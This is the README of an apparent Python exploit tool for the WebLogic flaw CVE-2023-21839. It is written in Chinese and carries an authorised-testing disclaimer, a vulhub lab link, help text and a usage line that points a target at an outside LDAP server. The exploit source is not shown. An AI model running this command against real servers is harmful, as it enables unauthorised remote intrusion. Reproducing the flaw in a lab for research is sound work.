CVE-2023-21839 Python版本# CVE-2023-21839
依据特殊需求将@[4ra1n](https://github.com/4ra1n) 大佬的GO版本翻译成了Python,再此感谢!
## 免责声明
**本程序应仅用于授权的安全测试与研究目的,请使用者遵照网络安全法合理使用。**
**使用者使用该工具出现任何非法攻击等违法行为,与作者无关。**
## 使用
vulhub 复现:[链接](https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839)
```python
___ __ ____ ___ ____ _____ ____ _ ___ _____ ___
/ __\/\ /\/__\ |___ \ / _ \___ \|___ / |___ \/ |( _ )___ // _ \
/ / \ \ / /_\_____ __) | | | |__) | |_ \ _____ __) | |/ _ \ |_ \ (_) |
/ /___ \ V //_|_____/ __/| |_| / __/ ___) |_____/ __/| | (_) |__) \__, |
\____/ \_/\__/ |_____|\___/_____|____/ |_____|_|\___/____/ /_/
usage: CVE-2023-21839.py [-h] [-ip] [-p] [-l]
Please enter parameters
optional arguments:
-h, --help show this help message and exit
-ip , --ip target ip
-p , --port target port
-l , --ldap ldap
python3 CVE-2023-21839.py -ip xx -p xx -l ldap://xx
```

[4.0K] /data/pocs/88c41d16868948f1a56479d28596b4f753da8a2d
├── [9.3K] CVE-2023-21839.py
├── [4.0K] README.assets
│ └── [ 54K] image-20230421155035098.png
└── [1.2K] README.md
1 directory, 3 files